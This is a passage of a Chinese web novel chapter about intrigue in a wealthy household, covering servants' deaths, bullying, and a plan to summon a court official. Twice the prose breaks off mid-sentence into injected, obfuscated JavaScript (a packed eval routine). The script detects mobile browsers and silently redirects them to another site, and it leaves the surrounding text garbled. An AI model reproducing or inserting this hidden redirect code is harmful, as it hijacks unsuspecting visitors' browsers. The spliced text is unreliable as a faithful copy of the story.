众人如梦初醒。 大太太脸色骤变，尖声：“是谁叫你来的？” 黎姣姣了然，果然是个局。 死一个菱丫头，不过是引子，搭上翠翠，也不过是幌子。 真正要引出洞的，是白嘉园。 有人特意传话给她，若她不来，翠翠便要被屈打成招。 白嘉园就算明知是计，也不得不来。 老太君和大太太相视，均见到彼此强装镇定下的慌乱，那是只有她们彼此之间才懂的情绪。 但白嘉园却不明白，她还懵懂发问，“什么叫引我出来？是院里的奶嬷嬷说话被我听到了，到底是怎么回事？” 问话刚落。 家庙的门被推开，是桂嬷嬷，她直直扑倒翠翠，双手张开，左右开弓，拉圆了巴掌往翠翠脸上招呼，嘴里还骂：“下贱的娼婢！是你做了那见不得人的事情，竟害得我女儿去死，你怎么不去死！” 老太君不是头回见这种场面，眼皮都懒得抬一下。 身边的婆子们早已心领神会，也不用主子吩咐，两个挽起袖子就上前，一左一右架住桂嬷嬷的胳膊，将她从地上拖了起来。 另一个婆子跟上去，照她脸，抬手就是几个脆生生的巴掌。 桂嬷嬷被打得双颊红肿，嘴角渗出血来。她愣了一瞬，随即厉声：“你们、你们真要包庇这个贱婢！” “老货！你莫要昏了头，你是个什么东西也要置喙主子的决定！” “主子？主子！我爹、我丈夫、我儿子，都是因你们一家死了，那时候，拿他们挡命的时候怎么不说下人了！现连我唯一的女儿也要夺去。” 她猛地挣开架着她的婆子，跪着往前膝行两步，仰头盯着老太君，一字一字往外挤：“你们于府，真是吃人呐！” 说完，她捂着脸竟放声大笑起来，余音盘旋，久久不散。 “桂香，此事，我自会给你个交代。” 老太君目光扫过桂嬷嬷和翠翠，声音不高，但极有威严，道： “你既说菱丫头是翠翠逼死的，那便当着列祖列宗的面，当面对质。谁若有一句不实——”她顿了顿，手里佛珠转动得越发得快，嘎吱嘎吱地响，“当场打死，便算作个了结。” 白嘉园对上桂嬷嬷惨不忍睹的脸，她嗓子微哑，结巴着：“翠翠，你先说，没做过的事就是没做过，我信你。” 翠翠也是伤痕累累的模样，脸上亦是红肿不堪，她双睫飞快眨动，愣是没掉一滴泪，她跪坐在地，脊背挺得直直的，她说：“自我们姑娘病重，我一直在枕流居照顾，未曾出过院子，又怎么能遇见这个菱丫头。” “初五那日戌时刚响梆子，菱丫头见你在角门跟一个男人偷偷私会！那男人穿的靛青袄子，你敢说没见过？敢说没见了？” 四月初五，是府试结束当日。 黎姣姣还记得，那日傍晚，她从东郊回来累得半死，与许玟素还在房里打闹了一会。 那晚，翠翠真的会出院子，跟所谓的野男人私会吗？ 桂嬷嬷方才言之凿凿，说得像自己亲眼所见一般。可翠翠来之前，她分明不是这副模样，又哭又闹，却绝没有这般底气。 怎么她才离开一刻钟，回来就好似换了个人？ 定是有人调唆她，让她咬死翠翠。 就像有人谎称“你不来翠翠就得死”，逼着白嘉园踏出枕流居一样。 是同一人？还是同属一人指使？ 环环相扣，幕后之人究竟是栽赃吗？ 她抬眼看向翠翠。 那一瞬间，翠翠瞳孔猛地一缩。 竟然是那日！ 她立马埋头，额头抵着冰冷的地砖，翠翠知道自己不能抬头了。 居然是真的。 黎姣姣心里泛起一阵微妙。 可出乎她的意料，反驳的人不是翠翠或是白嘉园，而是大太太—— “决不可能！” 苍白无力却又坚决。 “哈哈哈哈哈哈哈哈！”桂嬷嬷笑得弯腰，她厉声，“老太君，老太君！” 连连高喊声中，桂嬷嬷脸上闪过恍然大悟，她似乎想起什么—— 她想起那人说的——“菱丫头就是被她们害死的，你若不咬死翠翠，她就白死了。” 原来自己被当枪使了。 翠翠的心虚、主子的包庇、菱丫头…… 菱丫头是真死了。 她眼瞪得浑圆，身子慢慢调整成蹲起的样子，蓄势。 必须要有人赔菱丫头的命！ 咚—— 她也死了，一头撞到柱子上，眼睁得大大，视线最后望向的不知是老太君，还是她身后满墙的牌匾。 “啊！” 白嘉园受惊尖叫，屋里其他人唰白了脸，纷纷看向老太君。 老太君手抖不已，她稳声：“找几个年轻人，将她送到庄子上厚葬了，还有菱丫头，这事就算了了。” 吴婆子，也是府上的旧人，她眼眶微红，颤声：“老太君，她，她死了，只怕……” “桂香！” 说时迟，家庙外头一个酒糟鼻的老头，精瘦，穿得也落魄，不知从哪里冒出来，见里边的惨状，手臂大张舞动着，往外跌跌撞撞跑，一边跑一边高喊：“死人了！死人了！” 若是一个丫头自尽，还能捂住，这番血溅当场，一时在于府掀起轩然大波。 二太太一屁股跌倒在座，嘴里也嚷嚷着完了。 虽只是死了两个奴婢，黎姣姣却察觉到桂嬷嬷死前的反常，好像是有人在她耳边尖叫着、催促着让她去撞柱子，于是她做足了准备，生怕自己撞不死，眼里的决绝和疯狂，连黎姣姣都觉得胆寒。 背后的人，恨透了白嘉园，更是不惜用两条命设计白嘉园。 只是黎姣姣尚且不知，这两条命会在于府掀起怎样的风波。 老太君强撑起身，她拍拍身边婆子的手，道：“先埋了，府上我自然会有个交代，不会寒了他们的心。” “景安，你跟我去。” 除了被点名的大太太，其余人都被老太君派人请回各自院子，然后落了锁，这就是关起来了。 听绿园人人自危，这事传得快，人人都知道，是主子逼死了两个奴仆。 面对下人战战兢兢的眼神，黎姣姣也是头疼，干脆把自己关在屋里，叫春苗给她按头。 “姑娘，我真是没弄明白，一个丫头而已，她娘给些银子也就安抚了，何必闹得这样大。” 黎姣姣闭眼，感受胀痛的症结被春苗揉散，她懒声解惑：“你也听了，她全家都死了，就剩一个女儿，虽说不是亲生的，何况家里压根没拿她当回事，想着她平日里偷奸耍滑，是个没骨气的。” “这一头下去，可太有骨气了。” 春苗后怕，她又好奇：“那就拿翠翠抵命啊，我都瞧出来了，那个翠翠定是见了外男。” 是啊，翠翠的心虚不语、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349372|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大太太却急急跳出来维护。 “翠翠是少夫人的丫头，打狗还得看主人，哪里能这样抵命。” “大太太是在维护那白女了？还真是个好婆婆呢。” 春苗无心之语，却叫黎姣姣背后生凉。 不对，大太太不是维护白嘉园，她是在维护自己的儿子—— 于盛奕。 若说菱丫头的死、桂嬷嬷的死，是有人故意设计，那府上也还有一人可做—— 于盛奕！ 一夜过去，一日又一日，府中看似恢复了平静，可之中暗潮汹涌。 枕流居依旧是护卫重重围着，翠翠依旧伺候着主子。 只是，她偶尔发现自己的饭菜里被下了泻药、自己的被褥枕头里被放了细针。 翠翠只是习以为常地收拾好，饭菜埋到土里，针洗洗放到自己针线盒里，出门仍然挂上一副淡然表情。 接着，有人会故意将滚烫的水洒在她手上，有人会故意伸腿绊倒她，有人会从背后将她撞到，越来越明目张胆。 翠翠还是能忍。 可一连三日，翠翠瘦了一圈，眼下青黑，身上、手上都是参差不齐的伤。 白嘉园发现了。 她颤抖着呼吸，一点点抚过这些伤痕，她的心被紧紧捏住，咬住牙，好止住不自觉的牙齿打颤，“是因为我，都是因为我。” 白嘉园艰难咽下情绪，她的气息几乎是一截一截从嗓子眼吐出来，“不行，不能这样！” “姑娘！你要做什么？” “翠翠，你没错，那日是我回来，我们都清楚的，不可能有什么小丫头发现我们，她绝不是因为你才自尽的。” 白嘉园松开翠翠的手，捏紧了拳头，胸膛急速起伏，她下了决心，“这件事必须要查，要给你一个清白！” “姑娘不可！”翠翠急了，她扑通跪在地上，拿头撞地，嗑得自己满脑门血，“我……我受惯了这些，无非是些作弄，怎能比得上您的大事！” “作弄？他们是在霸凌你！他们是要逼你也去死啊！” 翠翠面目狰狞，不顾自己一身伤和满头血，拿膝盖在地面磨蹭，蹭到白嘉园脚下，伸手死死地抱住她，阻止她迈腿出门的动作。 她出声，悲恸欲绝：“他们已经逼死我们了！所以……所以你答应过我的！你答应过我的啊！” 白嘉园蹲下，抱住失声痛哭的翠翠，她也泪流不止，翠翠身子骨太薄弱了，怀抱住她像似抱住一团空气，抓不住的，翠翠的灵魂早就消散了。 她身体的温热，随着怀里逐渐冰冷的人，也一同消失了。 她的主子，早就死在湖里了。 “我答应过你的，会为她报仇，所以你要好好的。翠翠，如果连你都……我拿什么告慰她呢？” 白嘉园哭得上气不接下气，话说得断断续续，但安抚住翠翠了。 怀里人抬头，血红的眼里满是决绝，“只要您记住就好，至于我，我不会受他们欺辱了。” “你要干嘛？” “您自然不知道，奴才有奴才的法子。” “又是何苦！只要把事情的真相查出来，你的清白有了，那两个人也不会白死了！” “可她们显然是冲您来的，您本不该在府中多露面，更不该与府上人接触过深。” 翠翠的话点醒了白嘉园，拿袖子胡乱抹了把脸，她眼珠转动几个来回，终于定下一个主意，“请郑尚宫来查！” 白嘉园攥紧了手，她只能相信郑壶枫了。 28. 竹林之死3 白嘉园推开枕流居的门，大步迈出。 翠翠跟在她身后半步，仰着头，毫不掩饰显眼的伤痕。 已是午后，日头照得青石板泛着白花花的光，倒是一扫清明雨气。 出门迎面便是几个洒扫的粗使丫鬟，飞快地交换了眼色；三两婆子在廊下择菜，手里的活儿顿住了。 所过之处，无不是像针尖一样的锐利目光刺向白嘉园及身后的翠翠。 白嘉园心上密密地疼，她不敢想，翠翠这几日受了多少白眼和欺辱。 翠翠忽然伸手，扶住了她。 “姑娘？” 白嘉园这才发现，自己的步子不知何时慢了下来，像在泥沼之中被困住了脚。 她深吸一口气，稳住身形，继续往前。 刚过游廊，还没到垂花门，有人追上来拦住了她们。 气喘吁吁的小厮是大太太院里的。 “你去回禀大太太，这件命案，我会给府上一个交代，也叫人知道，我的翠翠行得正、坐得端！” 小厮脸皱成一团，急得跳脚，“您这是何苦？那桩事已经了了，人都埋了，您还翻出来作甚？。” “了了？” 白嘉园一把牵起翠翠的手，袖子滑落，露出小臂上那片青紫。 “你瞧！”她肺腑里的火被点燃，“全是这府上的人干的！同样都是人，凭什么翠翠要受这些苦？” 不知是谁喊了一声： “同样都是人，凭什么菱丫头就得死！” 那嗓子又尖又亮，好似一根针扎破了于府表面上的“了了”。 如投石下水，总会牵动起波澜。 门下、墙根，那些一贯低垂的头颅，此刻缓缓半抬了起来，他们目光落在翠翠身上，又移到白嘉园脸上，灼灼的，像要把人看穿。 白嘉园深吸一口气，挺直了脊背。她环顾四周，那些面孔，有愤恨的、有悲凉的、还有看戏的。 “我知道你们有怨言！” 她的声音亮起来，压过嗡嗡的低语，道：“你们需要真相，翠翠更需要，此事不查个水落石出，我绝不罢休！” 门后一角，黎姣姣嘴角微扬。 白嘉园这性子，鲁莽又要强。 自她急急出了院门，身后的眼睛、耳朵不少，黎姣姣第一时间得知后，也立马反应过来，果然白嘉园忍不住要查菱丫头溺亡的真相。 黎姣姣多怕白嘉园不查，怕她缩回院子里，怕她咽了这口气。 这三日，她暗中推波助澜，挑动着下人们的情绪，故意引导奴仆之间欺辱翠翠。 可翠翠挺住了，让黎姣姣险些失算。 幸而老天助她。 白嘉园亲眼见了翠翠的遍体鳞伤，并且如她所料，那颗好主人的心烧起来，她要想替翠翠做主，只有两条路。 一是，杀了全府的奴仆，换一批毫不知情的进来。 二则，找人主持公道。 白嘉园的选择，可想而知。 黎姣姣朝春苗使了个眼色，春苗机灵，一溜烟蹿到外厅前，悄无声息。 得叫藏在人堆里的钩子散开，可不能真挡住白嘉园伸冤的去处。 府上的长辈是铁了心要瞒住真相，她倒要看看，白嘉园究竟能找谁。 也只有让白嘉园把事闹大，她才能弄清楚，于盛奕为何陷害自己的妻子。 事事顺意，黎姣姣顿感神清气爽，正欲转身回屋，余光却瞥见抄手游廊那头，一道身影正朝这边来，正是大太太。 若此刻走了，定要跟她撞个正着。 黎姣姣只得收了脚步，深吸一口气，换上一副温婉神色，抬腿迎上去。 “少夫人！”她走上前，挽住白嘉园，她太瘦了，细细一根手，黎姣姣只虚虚握住一瞬就松开了，“这事呀，还是交给老太君或者大太太来办吧。” 这圆场的戏，还得她来演。 黎姣姣也拿眼扫过四周，道：“府上一贯待你们不薄，莫要学了以身挟恩那一套，心思都放端正些，再有不敬少夫人的，我先拿了她作家法！” 愤愤之情被黎姣姣压下，正好，大太太也赶到了。 她眼带感激，黎姣姣柔声对她道：“既然太太来了，我便不合适在场了。” 话毕，想溜。 白嘉园一把拉住她，道：“表妹在这正好作个见证。” 黎姣姣心生怪异，这人唤自己什么？ “你出来干什么？偏还闹起来了！” 大太太慌乱扯开两人，一把将白嘉园拉过去耳语。 不知说了什么，但白嘉园显然不赞同，她甚至往后撤了两步。 她严辞道：“后宅的人坐井观天、心胸狭隘，满脑子只有这方寸间的争斗，为了鸡毛蒜皮的小事相互构陷，我不喜欢这一套，也不会惯着这一套，既然我……” 她顿了顿，继续说：“反正，我不会受限于这些诡计手段，要辨、要证，都不怕！既然府上人怀疑我包庇翠翠，也怀疑您包庇翠翠，不如找郑尚宫来定夺，若连她的话也不信，自然去报官！我都无二话。” 郑尚宫？黎姣姣心里一突，她们居然认识？ 那为何此前郑尚宫上门，话里从未提起过白嘉园，倒像是陌生极了，黎姣姣还以为是因两派女官之间有嫌隙。 而白嘉园这样一提，大太太也没露出惊讶，好像她本就知道白嘉园认得、并且还请得动这位郑尚宫。 “你你你！” 大太太拳头都捏紧了，老太君不在，她也不能真让白嘉园走了，咬了咬牙，只好把目光投向黎姣姣，示意她再圆圆话。 黎姣姣不着急走了，但也不愿意再打圆场了，她站着，只是微笑，并不作声。 大太太也没办法，咳嗽一声，提示道：“姣姣，你以为呢？” “我正是后宅之人，只怕说话也不入少夫人的眼。” “表妹，我！” 截过白嘉园的话头，黎姣姣还是笑道：“不如就遂了少夫人，这样也好，这后宅事，若不得个清白结果，只怕……” “是啊！你们瞧翠翠的伤，全是被院里的下人欺负的。” 翠翠被推至跟前，大太太哪里有心思管她，但也知道，府上风波过后，家宅也是不安宁的。 “你既然决意如此，那就去请郑尚宫，只是你不能去，让人拿了我的信物去请。” 看来大太太只是不想叫白嘉园抛头露面。 黎姣姣这会飞快搭话了，“便交由我去吧。” 一架马车从于府驶出。 城中步道平稳，黎姣姣坐在车厢里还有意整理起自己，她嘱咐春苗道：“等会机灵点，同郑尚宫身边的人也尽量搭几句话。” 春苗点头，说：“姑娘放心，知道您有意套话，我定不会掉链子的。” 她又嘟囔着：“白女说话也太难听了，口口声声后宅的人，说得好像她是前堂的人一样，不也是嫁到这家做冲喜媳妇的吗！” 春苗抱怨个没完，“再说那个翠翠，害死了两个人呐，不就挨了点欺负，这就受不了了。” 见黎姣姣一言不发，她更是来劲，“好姑娘，这人的性子跟白纸一样蠢，您何需为她费心计划。” 黎姣姣这才开口：“只管做自己的事，我们的人该插就得插进去，你叫她们小心些，我们这位少夫人可不喜欢——后宅伎俩。” “放心吧姑娘，全是府上的老面孔，这批换人进去枕流居，也不会有人生疑的。”春苗大拍胸脯，主子难得吩咐她去办事，她当然得做好。 黎姣姣靠在晃荡的车厢上，闭目养起神，还不忘交代春苗： “你想说什么就说吧，难得出来，也别闷了自己的嘴。” 春苗自然知道主子想听什么，于是嘴叨叨了一路，说得口干，才到郑尚宫下榻之处。 “姑姑好，我们是于府上的，家中有事想请郑尚宫上门一遭。” 春苗还没将信物递出去，得话的女史已经点头返身去请郑尚宫了，她惊讶地向主子看去。 黎姣姣立在马车前，手握住那块牌，越发用力，直到指尖发白。 随便一个于府的丫头来找人，连身份信物都不要查证—— 郑尚宫急急出来，她今日穿得便装，也未上妆，因此瞧得出有些许憔悴。 她见来人是黎姣姣，疑惑道：“是你？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349373|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎姣姣见礼，被郑尚宫抬手扶起，她开口：“小姐无需多礼，你既然来找我，必定是府上有急事，先走吧。” 黎姣姣敏锐感知到，这个女官不一样，了了几语就圆了疑点。 只是越是如此，她就越是在意 “是。” 黎姣姣便顺从她的话，将人迎上马车。 蹄声踢踏踢踏，车厢里一片静默。 “我见小姐，甚是面熟。” 郑尚宫打破僵局，春苗不着痕迹地瞟了主子一眼，却见她微笑下的紧张。 “宣旨那日，有幸与尚宫见过。” “于家的表小姐？” “是的。” 郑尚宫坐姿豪爽，胡袍长裤便不影响她岔开腿，她这会怀抱手在胸前，背靠后，腿不自觉伸长，在马车晃动中，一下、一下撞动着黎姣姣的膝盖，不轻不重，太过故意。 “我记得京都有一家的小姐，也是叫做娇娇。” 她问自己的女史，“是那个娇弱的娇对吧。” 女史摇头不知。 郑尚宫话带遗憾，“你不知道她？顶有名的娇小姐，说是容貌无双。” “京都有名的小姐多了。”女史搭话。 “那位不一样，她是家里的掌上明珠，父兄都疼爱着，一到能出阁的年纪，她那父亲，是遍寻京都适龄郎君替她相看呐。” 郑尚宫说得起劲，可女史不来劲，“这样的小姐也多了，您今日是怎么了，这么有闲心说这些后宅事。” “你听着就是了，我们边上的娇客都没不耐烦呢。” 她特意咬重了“娇”字，接着绘声绘色起：“表小姐可能不知，这位娇娇啊，原本要嫁哪些人呢？咱们的睿王爷。” “啊？那不都五十岁了？” “还有别人呢，你且听着，李阁老也在娇娇父亲的相看名单上，还有……” 一连说了数十个人名，叫一旁的女史听得连忙喊停。 她受不了了：“大人！您说话太不着调了，先前还说这位小姐是掌上明珠，父兄宠爱，怎么要嫁的不是老头、就是鳏夫，个个都是臭名昭著啊！这不对吧，怎么听着像是卖女儿一样呢。” “哈哈哈，你这嘴啊，还望表小姐见谅，我这小史口无遮拦惯了。” 郑尚宫朝黎姣姣笑，得到一个体谅的微笑回来，她脸上笑意越发深，问：“不知表小姐作何想法。” 春苗咬牙：“女官大人，我们姑娘累了，您能让她休息一会吗？” “住嘴！”黎姣姣作训斥状，又朝郑尚宫歉意一笑，“既然大人有聊兴，我怎么能败兴呢。” 她苦恼道：“只是我认为，父母爱子，为之深远，这位父亲选的夫婿，有权有势，后宅虽不安宁，但他女儿是嫁过去做主母的，自然会有法子料理，以我这后宅女子的短浅眼光来看，都是好婚事呢。” 春苗搭话：“可不是么！嫁给年轻郎君得熬二三十年，嫁给他们，就熬个两三年。” “你这话太粗鄙了，两位大人见谅，我这丫头啊蠢笨得很，但她说得也是实在话，作女子的，无非就是生儿子、死丈夫，圆满一生，就像太后娘娘一样。” “放肆！” 女史厉声，郑尚宫却阻止她，那眼里的笑意终于变成威胁，道：“表小姐好厉害的口才。” “大人见谅，只是我也名唤姣姣，自然对天底下的娇娇都心存祝福。对了，大人难道不想知道，今日于府请您因何故？” 黎姣姣笑意愈浓：“是白嘉园，府上那位久病的新妇，请您去的。” 郑尚宫点点头，没了说话的兴致，抱着手闭上眼，小女史斜了黎姣姣一眼，也养神去了，车厢又恢复安静。 马车停下，到了于府大门。 黎姣姣先一步下车，脸上带笑领着郑尚宫往府里去。 于宅家庙。 “我来迟了，不知是因何事？” 屋里或坐或站的五个女人，齐齐将目光投向说话处，白嘉园眼一亮，立马往前走，抱手见礼，“大人！” “你是状元郎的夫人吧？这头一遭见面，我一时半会还拿不出见面礼给你呢！”